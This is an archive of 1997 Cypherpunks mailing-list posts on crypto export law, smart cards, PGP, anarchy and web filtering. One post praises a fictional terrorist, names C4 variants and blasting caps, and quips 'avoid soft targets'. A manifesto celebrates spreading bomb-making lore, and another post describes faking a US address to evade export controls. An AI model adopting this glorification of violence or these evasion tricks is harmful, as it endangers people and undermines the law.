X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: gomez@BASISinc.com
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience]
Content-Type: multipart/mixed; boundary="------------62391A621C0B"
Sender: owner-cypherpunks@toad.com
Precedence: bulk

This is a multi-part message in MIME format.

--------------62391A621C0B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/

--------------62391A621C0B
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from online.offshore.com.ai (online.offshore.com.ai [206.48.59.106]) by orion.sk.sympatico.ca with ESMTP (8.7.5/8.7.3) id DAA18333 for <toto@sk.sympatico.ca>; Fri, 16 May 1997 03:31:04 -0600 (CST)
Received: (from httpd@localhost)
	by online.offshore.com.ai (8.8.5/8.8.5) id FAA02624;
	Fri, 16 May 1997 05:42:14 -0400
Message-Id: <199705160942.FAA02624@online.offshore.com.ai>
X-Authentication-Warning: online.offshore.com.ai: httpd set sender to toto@sk.sympatico.ca using -f
From: "C.J. Parker" <toto@sk.sympatico.ca>
To: president@whitehouse.gov, toto@sk.sympatico.ca
Date: Fri May 16  5:42:13 1997
Subject: ITAR / S 1726 / Civil Disobedience


Dear Mr. President,

   I am writing to express my disapproval of the Clinton Administration's
position on the ITAR restrictions for encryption software.  This is an
important issue to me.

  1) Software is writing, so it is protected by the first amendment, 
     so the ITAR is unconstitutional.  The idea that only paper books
     are first amendment protected, and electronic books are not, is just 
     plain wrong.

  2) The ITAR does not help National Security, but in fact greatly reduces 
     our nations security because the Internet, and the computers and 
     information connected to it, are kept from using good Encryption.  

  3) I feel that encryption is very important for doing commerce on the 
     Internet, and that commerce on the Internet is important for our 
     economy (Internet is the fastest growing sizable segment).  You say 
     you like the "Information Super Highway" and you are "going to focus 
     on the economy like a laser".  You should be removing the ITAR 
     restrictions on American businesses.  Otherwise the business for 
     commerce software will go to companies in other countries.

  4) The Clinton Clipper III proposal to have government key escrow 
     is not acceptable.  Also, it will never work, since people will 
     always be able to buy and use software from the rest of the world.  
     This proposal is just slowing down Internet progress.  Please
     cancel Clipper III.

  5) Please support Senator Burns Pro-CODE bill S 1726 that would end 
     this foolishness.  

     Or better yet, just take software off the list of "munitions".
     The current law, (see http://www.law.cornell.edu/uscode/22/2778.html),
     says that "The President shall periodically review the items on 
     the United States Munitions List to determine what items, if any, 
     no longer warrant export controls under this section.  The results 
     of such reviews shall be reported to the Speaker of the House [...] 
     at least 30 days before any item is removed from the Munitions 
     List [...]."  

  5) As an act of civil disobedience I have personally exported an 
     encryption program (it is 3 lines of writing) using the web page at 
     http://online.offshore.com.ai/arms-trafficker/

Yours sincerely,


     C.J. Parker
     toto@sk.sympatico.ca

Sent from host lohner20.sk.sympatico.ca with IP 142.165.98.20 


--------------62391A621C0B--


----- End of forwarded message from Toto -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 18 May 1997 09:57:03 +0800
To: cypherpunks@toad.com
Subject: MULTOS announcement from MasterCard --- FYI
Message-ID: <v03020907afa4080cd740@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: davidk@air.com
X-Sender: saguaro@pop.tiac.net (Unverified)
Date: Sat, 17 May 1997 16:56:13 -0400
To: Robert Hettinga <rah@shipwright.com>
Subject: MULTOS announcement from MasterCard --- FYI
Mime-Version: 1.0

 MasterCard launches global smart card  platform
Date:    97-05-15 16:38:28 EDT
From:    AOL News

    NEW YORK--(BUSINESS WIRE)--May 15, 1997--

      Platform provides MasterCard member financial institutions with
          complete solution in migrating to chip-based payment products
          MasterCard International today became the first payments brand to
begin implementing a complete solution for making the widespread use
of smart cards a marketplace reality by the new millennium.
          By embracing a new open-platform technology called MULTOS as its
smart card operating platform, MasterCard member banks will now have
access to an unprecedented technology that will enable a single smart
card to support a number of different products, securely and
independently.
          The MULTOS (multi-application operating system) technology, which
was announced today by eight of the leading silicon manufacturers and
smart card companies from the United States, Europe, Asia and
Australia uses the proven Mondex security architecture which allows
applications to be dynamically and securely loaded onto a smart card.
With MULTOS, not only can members load applications when the card is
issued, but cardholders will be able to load or change applications
after the card has been issued by going on-line to the card issuer,
via telephone, the ATM or across the Internet.  This allows
applications and security upgrades to be introduced without reissuing
cards, and for cardholders to "customize" their card with the
applications they choose.
          Paired with the MULTOS technology is a MasterCard migration plan
that gives financial institutions around the world the flexibility to
enter into the smart card arena when it's right for their markets and
their businesses.  Together, MULTOS and the MasterCard migration plan
support a wide range of implementation schemes -- from the most
comprehensive to the most modest -- ensuring that member banks can
bring smart cards to market in a way that is useful for the
cardholder and profitable for the bank.
          "The business case for smart cards varies among markets and
countries, and so the key to a successful migration from magnetic
stripe cards to smart cards is flexibility," said MasterCard
President and CEO Robert W. Selander.  "In our migration strategy we
have a flexible approach that lets every member move to smart cards
at a time and pace that is best for their business.  And in MULTOS we
have a superior technology that is `future-friendly.' MULTOS will
enable our members to embrace smart card technology, and at the same
time, give them the confidence that today's investment will not be
obsolete tomorrow.  By incorporating MULTOS technology into our smart
card migration strategy, we are offering our members the only
complete smart card solution available today," he said.
          "As an open-technology platform, we support the flexibility
MULTOS offers, and realize that by investing in MULTOS, we are
investing in the future of the industry," said Dudley Nigg,
executive vice president, Online Financial Services for Wells Fargo
Bank.  "It also enables us to truly differentiate ourselves by the
types of services we provide our cardholders."
          G. Henry Mundt III, MasterCard executive vice president, Global
Deposit Access, said the MULTOS technology offers distinct benefits
to members that other operating systems cannot.  "Unlike other chip
delivery platforms in the marketplace today, MULTOS provides our
members with multiple sources of interoperable cards - eliminating
any risk associated with being locked into a single silicon supplier
or card manufacturer."
          Mundt, who oversees MasterCard's smart card business, also
explained how members can use MULTOS to differentiate their services
to their cardholders.  "What a MULTOS-based card becomes to the
cardholder is a lifestyle card, allowing the consumer to include the
standard applications of credit and debit, along with other
personally selected applications such as Mondex electronic cash, an
airline loyalty program and a transit pass.  The ability for our
members to meet their cardholders' changing needs by adding or
deleting card applications that can be tailored in real time, through
the telephone, an ATM or across the Internet, is bringing the future
of money to life for the consumer, now,"  he added.
          MasterCard's global smart card strategy incorporates the
following features and deliverables:

--  A set of product specifications and associated applications,
which will include MasterCard credit and debit, and Mondex electronic
cash, that can be combined with member proprietary programs.
Specifications will be available in the third quarter of this year,
and applications will be available in the first quarter of 1998.  The
MULTOS API (application program interface) specifications will be
available in the third quarter of 1997.
      --  The most advanced open-technology platform, introduced on a
non-proprietary "open systems"  basis to enable it to be used as a
standard across various industries interested in using smart cards,
such as finance, retail, travel and telecommunications.  MULTOS
technology will enable a single smart card to support a number of
different products, securely and independently.  MULTOS applications
will need to be written only once and are compatible with any MULTOS
card, regardless of which company has manufactured the card or which
silicon chip is used.  Applications on the card are kept totally
separate and independent by highly secure "firewalls."
      --  A support infrastructure to ensure global acceptance of smart
cards.  Revised rules and operating procedures for MasterCard members
will be available later this year.
      --  A range of application development tools and protocols will be
provided in the third quarter 1997, to enable application developers
to produce products for MULTOS.
      --  Compliance with industry standards: MULTOS is entirely compatible
with the EMV '96 standards related to integrated circuit cards for
payment systems created by Europay, MasterCard and Visa.  MasterCard
credit and debit products implemented on MULTOS for the first quarter
1998 will be fully EMV compliant.
          "MULTOS allows MasterCard and Mondex members to combine, for
example, the Mondex purse with their own products and services on a
single card - while being assured that the security and integrity of
each product or application is guaranteed by the firewalls that are a
unique feature of MULTOS," said Mondex President Michael Keegan.
"This is a great step forward for the financial services industry.
This means that, for the first time, card issuers can use the
security, reliability and flexibility of the smart card to deliver a
range of products and services to their customers - securely and
economically, allowing the consumer to carry fewer, more useful
cards."
          MasterCard International, a payments company with one of the
world's most recognized brands, is dedicated to helping more than
23,000 financial institutions around the world offer consumers a
variety of payment options.  MasterCard remains focused on helping
shape the future of money by expanding acceptance of its global
brands (MasterCard(R), Maestro(R) and Cirrus(R), the world's largest ATM
network; MasterCard also owns 51 per cent of electronic cash leader
Mondex International) and maintaining reliable, secure networks
facilitating global value exchange.  MasterCard has 400 million
credit and debit cards that are accepted at more than 13 million
acceptance locations worldwide.  In 1996, gross dollar volume
generated exceeded $550 billion.  MasterCard can be reached through
its World Wide Web site at http://www.mastercard.com .
-0-
Note: On Thursday, May 15 at 9 a.m. EST, MasterCard's long-term
chip card strategy and the MULTOS technology will be announced during
a teleconference call.  Participants can join the call by dialing
800-553-0272 in the U.S. and 612- 332-0523 outside the U.S.
MasterCard Launches Global Smart Card Platform May 15, 1997
      CONTACT:
      MasterCard International
      Marianne Fulgenzi, 914/249-5443
      Julie Jacobs, Shandwick, 212/309-0620

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sun, 18 May 1997 14:59:30 +0800
To: cypherpunks@toad.com
Subject: referers and W3 (fwd)
Message-ID: <Pine.GUL.3.95.970512081613.25461B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


A friend who webmasters a large site that is implementing referer-specific
content sent me this when I mentioned the cpunks/cryptography thread of a
few months back. I basically agree with the W3C. While user education on the
potential privacy threat is essential, I do not believe that Netscape should
violate published technical standards. There are also privacy and property
issues from the server's perspective.

---------- Forwarded message ----------
Subject: referers and W3

The following text was added to W3's page on HTML on May 8.  If nobody 
else has noticed this, you might wish to share it with the cypherpunks, I 
don't know.

   HTML, Hypertext Links and Referer URLs
   
   In a vacuum, semantically neutral technology attracts meaning. If
   neutral technology is useful, commerce -- abhorring a vacuum --
   uses technology in often-unforeseen ways to build new markets.
   Over the past year we have seen attempts to create meaning for
   HTML references where none existed before. Links have been argued
   to mean revenue streams, approval, a source of liability,
   endorsement, and ownership.
   
   The Web depends on hypertext links between resources. Links can
   act as references, or to embed material, both of which are
   concepts that have been around for a long long time. Whats new
   with the Web is the ability to follow links quickly.
   
   When a user clicks on a link, the URL of the page containing the
   link is passed to the server along with the requested URL. This
   gives Web sites the opportunity to customize the response
   according to the page the user clicked on.
   
   If someone jumps into a Web site without entering via the home
   page, a content provider may choose to turn them away or to
   redirect them to the home page. A smarter Web site could use
   partial string matches on the Referer and Requested URLs to
   customize the page it returns.
   
   One reason for doing this is to ensure visitors see the banner ads
   and promotions, a site is using to create revenue; another is to
   avoid broken links when people (or indexing engines) bookmark
   transitory Web pages.
   
   The Referer URL can also be used to determine how to honor
   requests for images or applets. For instance, you might decide to
   only provide images to sites which have signed a license agreement
   with you.

http://www.w3.org/pub/WWW/MarkUp/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sun, 18 May 1997 16:49:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: dhp.com is blocked by CyberSitter
Message-ID: <Pine.GUL.3.95.970518012233.9969D-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


Um...

Who worth talking to isn't?

I have repeatedly requested that they block comp.os.ms-windows.announce and
stanford.edu because we allow content they might find objectionable, but
Milburn has REFUSED to do so. "We don't block sites just because some guy
say so." He's bouncing all subsequent requet from me to block my own web
site to my postmaster, i.e., me.

I still think a counter-blocking approach is appropriate. If you run a
popular web site, make it inaccessible to CyberSitter users. It's easy:

 <META NAME="Voluntary Content Rating" CONTENT="adult">

CyberSitter is the only program that understands "the VCR standard."

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 18 May 1997 18:40:25 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
Message-ID: <199705181020.DAA18483@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> More than that, did they decide to release the source code?
> Last I heard, the answer was "of course not!!!!"

I recently heard from a PGP employee that they plan to release ALL
source code, including non-crypto code.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Illuminati Primus <vermont@gate.net>
Date: Sun, 18 May 1997 17:53:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: Another Bell related raid
In-Reply-To: <Pine.GSO.3.96.970516100122.11413C-100000@linda.teleport.com>
Message-ID: <Pine.A32.3.93.970518052759.22564G-100000@inca.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 16 May 1997, Alan wrote:

> A team of federal agents, led by IRS internal security personnel, raided a
> home at 711 W. 20th St. Thursday morning.

The white cells rush in to disinfect the gangreen.  They should learn to
be less obvious (or start polluting our water with more lead so we dont
notice things like these).  Once genetic engineering is perfected they
will no longer have to worry about strong-willed citizen units anymore.
Too much testosterone will be against the law

Ignorance is Strength





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 22232323@earthlink.net
Date: Sun, 18 May 1997 22:58:27 +0800
To: cypherpunks@toad.com
Subject: Free Subscription
Message-ID: <199705181423.HAA09752@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 18 May 1997 23:00:21 +0800
To: cypherpunks@toad.com
Subject: Anarchy, society, government
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <19970518073639.23281@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 15, 1997 at 09:10:39PM -0700, Bill Stewart wrote:
> >> > That's not *my* definition, it's *the* definition, as described in a
> >> > standard, reputable dictionary.  I realize that you have your own 
> >> > private definition of the term, that you share with your friends and 
> >> > an esoteric community.  
> 
> Sigh.  Calling something "*the* definition" of anarchy, when it's not
> the definition anarchists use, doesn't cut it.  I realize that 
> statists have convinced lots of people that "anarchy" means
> "a bunch of bomb-throwing terrorists are going to run down the street
> and kill your mama", but that's because they want to be in charge -
> or at least have SOMEBODY be in charge, since they don't trust people
> to act civilized without rulers who'll kill them if they don't behave. 
> 
> Whether you think anarchism *will* lead to bomb-throwing terrorists,
> or in general whether it's a good or bad idea, is a separate argument.
> But anarchists _ought_ to own the definition.

I don't think so.  The fact is, of course, there are many definitions
for the word.  The definition I used might be called the "literary"
meaning, like the "anarchist" in the Conrad novel that always carries
a bomb.  It is a perfectly legitimate meaning, more common than the
specialist meanings.  But, having apparently stired up a hornets nest 
with a gentle tweak, I'll say no more about it, and be more careful 
around the hornets.

[...]
> One of your more interesting comments was on whether you can separate
> the concepts of society and government - a fairly common view of 
> government is that it needs to have a monopoly on the use of force to
> preserve order, and therefore needs to have tax funding to exist,
> and since you've got it around anyway you might as well use it for
> things that are easiest to do in a centralized manner, and to do
> things that require either social cooperation or lots of money;
> a society like that will find government intertwined in its civil affairs,
> and people will get out of the habit of organizing their own actions
> without using government as a focus.  Other societies have used 
> religious organizations to perform many of the same social functions -
> if everybody's getting together weekly anyway, might as well talk about
> the problems that have been going on, and raise the money needed to
> feed the poor and patch the meetinghouse roof.  And other societies
> have just done these things on a more individual basis, especially
> in sparsely populated areas where there aren't outside invaders.
> Of course, now that governments have taken over most of the world,
> it's hard to find a place without outside invaders...
> 
> But people are still going to teach their kids what they need,
> and people are still going to keep most of their agreements with
> their neighbors, and they're still going to help each other resolve
> arguments about the agreements that weren't kept, whether that
> resolution is done by an armed posse, or by the offender's family
> paying off the obligation in cattle, or by shunning people until they
> do the right thing, or refusing to give credit to known deadbeats,
> or whatever.  Government's only one choice.

It seems to me that government is the only choice when the population
gets "large" -- that is, when an individual deals with substantial
numbers of strangers.  You don't just deal with neighbors and people
you know; you have to know some rules, and you have to be fairly
confident that strangers will follow them as well.  In particular, 
you need to be confident that strangers won't be violent.

Some years ago a woman criminal law judge from the Soviet Union wrote
an interesting book about the Soviet criminal justice system.  Your
first thought might be to just laugh at the thought, but Soviet Russia
had murderers, rapists, thieves, con men -- in short, criminals -- and
they had to be dealt with.  Many of the issues are the same wherever
you are -- what was the crime? What is the evidence? Who is telling
the truth? What are the laws and precedents that apply?  What is the 
appropriate punishment?

Criminal acts are a fact of life in every society.  In a stable,
relatively homogeneous society, I believe, a reasonable justice system
would always evolve, and that system would have a monopoly on
violence.  The population as a whole has a shared idea of what is just
and what is not, and the justice system actually provides it.  This
is, I believe, essentially independent of the political system. 

But back to "government" and "society" -- it's not that I think the
concepts aren't distinct -- like "anarchy", they are just words, you
make or use definitions.  What I was getting at was the reality of
things -- there isn't any clear dividing line where "society" leaves
off and "government" begins.  Leaves are a distinguishable part of a
tree; different kinds of trees have different kinds of leaves; but all
trees have leaves of some form or another, and if you remove the
leaves the tree will die.  And there is no point at which you say the 
tree ends where the leaf begins.

A cop has the authority to use force, but that cop drinks the same
beer we do, watches TV, reads the newspaper, etc; and his behavior,
including his use of force, is conditioned by all that social
experience.  At higher levels of government -- rich people hobnob with
congresspeople, presidents, and supreme court justices.  Businesses
have contracts to supply the US military.  Universities have contracts
to run government labs.  There are elections, initiatives, open
committee meetings.  All people who are elected or work for the 
government consume groceries and toilet paper.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 18 May 1997 22:08:35 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705181349.JAA25495@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


  Declaration of Digital Independence
 -------------------------------------

We, the computer-literate and technologically superior, in order to
break the ignorant chains of those who hold us back, do hereby
declare our freedom from those who control what they do not
understand. We wish to no longer hear the cries of
"pornography-superhighway" and "cyber-patrol". We reject the
repulsive nonsense shoved down our throats by all forms of media
telling of the dangers of piracy, pornography, and in general, free
thought. There are no "cyber-molesters" we cannot stop as a people.
If you educate your children like the good parent you should be,
they should know what is right and what is wrong, and will be wise,
young judges, with free thought and judgement. We cannot simply
"block" what we find offensive, on the net, on bulletin boards, and
as we all know, in real life. We must learn to deal with the "day to
day inadequacies" of life, and we must not simply become mindless
drones of those that fight to restrict freedom. We must fight even
harder than they, and we must fight to stay free, or all right is
lost. If it's not worth fighting for, then you have already been
brainwashed.

The internet (NOT info-superhighway, or i-way, as those terms are
simply insulting and degrading, made up by the ignorant) cannot and
SHOULD NOT be regulated. It should be allowed to make it's own rules.
It is bigger than any world you can and can't imagine, and it will
not be controlled. It is the embodiment of all that is free; free
information, friendship, alliances, materials, ideas, suggestions,
news, and more. The "Cyber-Angels" are only well-meaning do-gooders
with nothing better to do than to "tattle" on those with different
ideas than they. They use entrapment, and have twisted their ideas
and values to make them apply to cyberspace, trying to rule an area
they do not understand. Fighting for the freedom to think is good,
but to fight for an idea you believe is the only true idea is itself
ignorance. The nazis believed that they were superior, in ideas and
actions, and the "Cyber Angels" are nothing more. You cannot stop
freedom of thought, and they try anyway, to convert anyone and
everyone to their mode of thought. But those of us who see clearly
know that the internet is the greatest invention ever, topping the
telephone and electricity. It is a gathering of the mental body of
billions of people, and we will not be stopped.

The media, as it is known, is the propaganda vending machine of
today. As a whole, they trip over themselves, feeding lies to the
ignorant, and we who are not will watch too, to laugh at the
stupidity that is the media. We sit in front of our televisions, or
listening to the radio, or looking at a newspaper or a magazine, and
we laugh. We laugh and laugh, because the media has become a
ridiculous pool of lies and half-truths. They say we're more
dangerous than sicknesses, and nuclear weapons, because we choose to
laugh at their ideas and boundaries, and we fight to expand them. We
laugh at the pitiful security devices used to keep knowledge from
spreading, and we rip down the beaurocratic bullshit tape they put up
in virtual doorways. We call the boards they show on the news,
covered in ideas and values different than theirs, and we like it. We
like asking for a computer program that we never would have bought,
and having it show up in our mailboxes. We like leaving messages on
BBS' containing information on how to blow up a building or how to
kill a man with your bare hands. We like it, not because it scares
people or because it's "twisted" or "evil", but because it's
forbidden, and lost. You do not know what a "redbox" is? Come,
friend, and I will spread the lost knowledge. And when I tell you,
you will tell another, and we will be held together by the knowledge
which we "should not know". We are the illuminati, and the
enlightened. We look not to the old sciences of textbook learning,
but to the primitive ways, of communication and experience.

We are sickened by the unenlightened. We despise those who wish not
to learn, and those who read the same books, over and over again,
under different names, believing that they are learning. We are the
"different", and the "abnormal", those who are sometimes disliked
because we regurgitate the lies fed to us by the governing. Everyone
has the need to know, the curiosity of the caveman who invented
fire, but some have been trained like monkeys, not ever knowing it's
there. They simply accept things, and do what is expected of them,
and this is sad. They are those who never fight back, and never open
their minds. And they are, unfortunately, usually the governing
bodies; the teachers, bosses, police, federal agents, congressmen,
senators, parents, and more. And this, my friend, must change.

We will not be "voted out", and we will not be mentally disfigured.
If they had the chance, government and the media would give everyone
a virtual labotamy. Our minds to be held in chains, forced to take in
what is given. This is unacceptable. We will not be held down, by
the ignorant, the foolish, and especially the lazy. We take your
textbooks and your lies, and we put them back in the dusty
storerooms where they belong. And we share ideas, and make new ones,
and sometimes ask for a hand to hold, and not one around our throat.
We see what no others can, and what no others want to see. It is a
technological revolution, and a revolution of ideas. We will fight
in battles for our freedom to think, should there be any, but we will
not start any. We are not a violent group, but our opposition
believes ideas should not be let loose to grow, and they will begin
the battle. They have no honor, stealing from us our rights, our
liberty, and our freedom of thought. And for this, we label them
unforgiven...


- Anarchy, and the AoC...








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 01:23:22 +0800
To: cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: <v03007800afa4f5fdcc00@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:20 AM -0800 5/18/97, Anonymous wrote:
>Tim May wrote:
>>
>> More than that, did they decide to release the source code?
>> Last I heard, the answer was "of course not!!!!"
>
>I recently heard from a PGP employee that they plan to release ALL
>source code, including non-crypto code.

I checked the www.pgp.com site and saw no evidence of source code.

Anyway, I decided to go ahead an take a look at PGP 5.0, the Macintosh
version (someone said it was only for Windows/NT, but this appears not to
be so...perhaps by "only" the person meant "no DOS version"?)

Alas, the lookup is too dumb:

"Please accept our apology for any inconvenience, but at this time we
cannot permit a real-time download of the
       product you have requested. The specific problem encountered is:

              InterNIC does not know who `tcmay.got.net' is.

              Sorry. "

I'll have to get it off the Iraqi or Syrian sites.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 01:54:38 +0800
To: cypherpunks@algebra.com
Subject: Crypto, C4 Explosives, and Destroying the Infrastructure
Message-ID: <v03007801afa4f88363e2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I'm engrossed in a good terrorist thriller (*), Joseph Finder's "The Zero
Hour," just out in paperback. It's a detailed account of sabotaging the
U.S./statist infrastructure by a determined billionaire intent on getting
revenge for the murder of his wife and daughter by U.S. agents. He hires an
expert terrorist to take out the U.S. banking industry...what a rush!

(* The conventional "spy thriller" has been largely supplanted by the
"terrorist thriller," given the replacement of the Evil Empire by the Four
Horsemen. Even the Chief Anti-Cryptography, David Aaron, has written a
couple of them. I read the first one, many years ago, and it was pretty
good.)

The detail in Finder's book is quite good. Lengthy discussion of NSA, RC4,
Crypto AG and the NSA tamperings with their products, banking, etc. Even
Hacktic plays a role. Finder is, when not a novelist, a reporter for
leading papers (NYT and WP) on CIA and intelligence matters, so he knows a
lot.

What's really interesting is just how accurate and insightful _most_ of his
crypto stuff is...he really shows evidence of knowing how RC4 works, how
cryppies at NSA do their cryptanalysis, and how Inmarsat portable satellite
phones work.

However, there are a couple of *obvious* errors. My supposition is that he
"pulled his punches" a little, choosing to gloss over certain things which
would have made the "terrorist" essentially impossible to detect. (The most
glaring error, which he surely knew better about, was to assert that NSA
could break any cipher if given enough time and computer power.)

I surmise from how he altered factual details about the world of
cryptography--though masterfully--that he also subtly tweaked some details
in other areas. I, for example, don't plan to use the cyclotrimethylene
trinitramine version of C4, allegedly free of the usual odor-producing
impurities, for any of my sanitization efforts! (He also describes some of
the flaws in the bombs used in the World Trade Center and Oklahoma City
bombings...any aspiring terrorist should certainly read this novel for some
ideas...taking into account the deliberate errors he inserted, as with the
crypto errors!)

A real explosives expert would see in his detailed descriptions of where
and how to get the M6 Special Engineer Electrical Blasting Caps and the
M-112 Charge Demolition Blocks the same kind of subtle tweakings of the
truth that he put into his convincing descriptions of cryptanalysis.

But it's still an excellent novel. I, of course, am rooting for Baumann,
the terrorist.

The usual warning applies: avoid soft targets.

--Tim may

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 02:07:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <199705181020.DAA18483@jefferson.hidden.net>
Message-ID: <3.0.2.32.19970518105324.00ad0cc0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:11 AM 5/18/97 -0800, Tim May wrote:

>Anyway, I decided to go ahead an take a look at PGP 5.0, the Macintosh
>version (someone said it was only for Windows/NT, but this appears not to
>be so...perhaps by "only" the person meant "no DOS version"?)

Actually I meant no Unix version.  (I tend to ignore the Mac.  I have damn
near everything else at this point...)

My mistake... 

Need more caffiene...

"It is by caffiene alone I set my mind in motion."
---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 18 May 1997 18:55:59 +0800
To: gbroiles@netbox.com
Subject: Re: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970517183655.00867d60@mail.io.com>
Message-ID: <199705181044.LAA00597@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles <gbroiles@netbox.com> writes:
> [...]
> Also, one person commented within the coderpunks thread:
> >>>>
> A disclaimer would be adeqate protection if I remember correctly.
> I don`t recall what the situation is in the US, is it the case that
> the provider of the information is guilty of export, or the person
> that actually downloads it, if it is available via anonymous FTP???
> <<<<
> 
> A disclaimer is not good enough. Both are potentially liable under US law
> (modulo arguments about constitutionality, vagueness, etc). The downloader
> is guilty of an illegal export, and the person who made the software
> available is (using the definition in 15 CFR 734.2) guilty of an export,
> and also has potential liability for conspiracy and/or aiding and abetting,
> depending on the facts of the particular case. 

The downloader by definition is restricted by his own national laws
not by US laws.  US attempted world policeman attitude does not mean
that US laws apply outside the US, particularly not to non-US citizens
outside the US.

(Yeah, I know tell that to Noriega, but that was simple kidnap).

(The UK has recently introduced a few laws which they claim apply to
UK nationals outside when resident outside UK also... bad trend.)

The counter argument is that say Iraq says that you must not show
pictures of women's faces.  Do you similarly honour Iraqs request to
extradite the news media in the US?

Extradition treaties to my understanding tend rely on the crime being
a crime in both countries.  For illegality of exporting crypto code on
the Internet the US is largely on it's own.  And anyway, I'm
_importing_ crypto, you're exporting it, or at least allowing me to
import it.  There are even fewer examples of import restrictions than
of export restrictions.


Personally I would feel no compunction in downloading anything I
choose from any US site on the basis of US laws; they do not apply to
me.

However out of politeness to the operators of the US archives I would
generally not recommend this for the simple reason that it might get
the archive operator in trouble.  This is my only consideration.

For a giggle a while back I had a go at downloading Netscape 128 bit
browser using anonymizer.com.  Found a handy US zip code, phone number
street address (I used a US bank's, which I found handily on the web).

Damn would've worked too, only it tried to open an SSL session through
anonymizer.com for the download and anonymizer doesn't support SSL
sessions (or didn't then).  Bummer :-) So I had to download it from
Alex de Joode's site ftp.replay.com in the Netherlands instead which
was faster anyway.

Self appointed world policemen are fooling themselves if they think
they have any control over bit flow.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
